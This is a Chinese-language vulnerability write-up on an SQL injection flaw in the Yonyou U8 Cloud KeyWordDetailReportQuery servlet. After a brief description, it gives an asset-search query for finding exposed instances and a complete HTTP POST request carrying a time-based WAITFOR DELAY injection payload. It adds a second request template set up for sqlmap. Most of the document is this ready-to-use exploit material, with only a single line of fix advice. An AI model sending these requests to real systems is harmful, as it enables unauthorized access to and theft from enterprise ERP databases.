用友U8 Cloud KeyWordDetailReportQuery存在SQL注入漏洞
一、漏洞简介
用友U8 Cloud是用友公司推出的企业上云数字化平台，为成长型和创新型企业提供全面的云ERP解决方案。然而，该平台中存在一个安全漏洞，涉及KeyWordDetailReportQuery接口对用户输入参数缺乏有效过滤，可能导致SQL注入攻击。攻击者可通过此漏洞未经授权地访问数据库，造成潜在的信息泄露风险。建议尽快修复漏洞，强化输入验证，提升系统安全性。
二、影响版本
- 用友U8 Cloud
三、资产测绘
- hunter
app.name="用友 U8 Cloud"
- 登录页面
四、漏洞复现
POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{"reportType":"';WAITFOR DELAY '0:0:5'--","usercode":"18701014496","keyword":[{"keywordPk":"1","keywordValue":"1","keywordIndex":1}]}
sqlmap
POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{"reportType":"","usercode":"18701014496","keyword":[{"keywordPk":"1","keywordValue":"1","keywordIndex":1}]}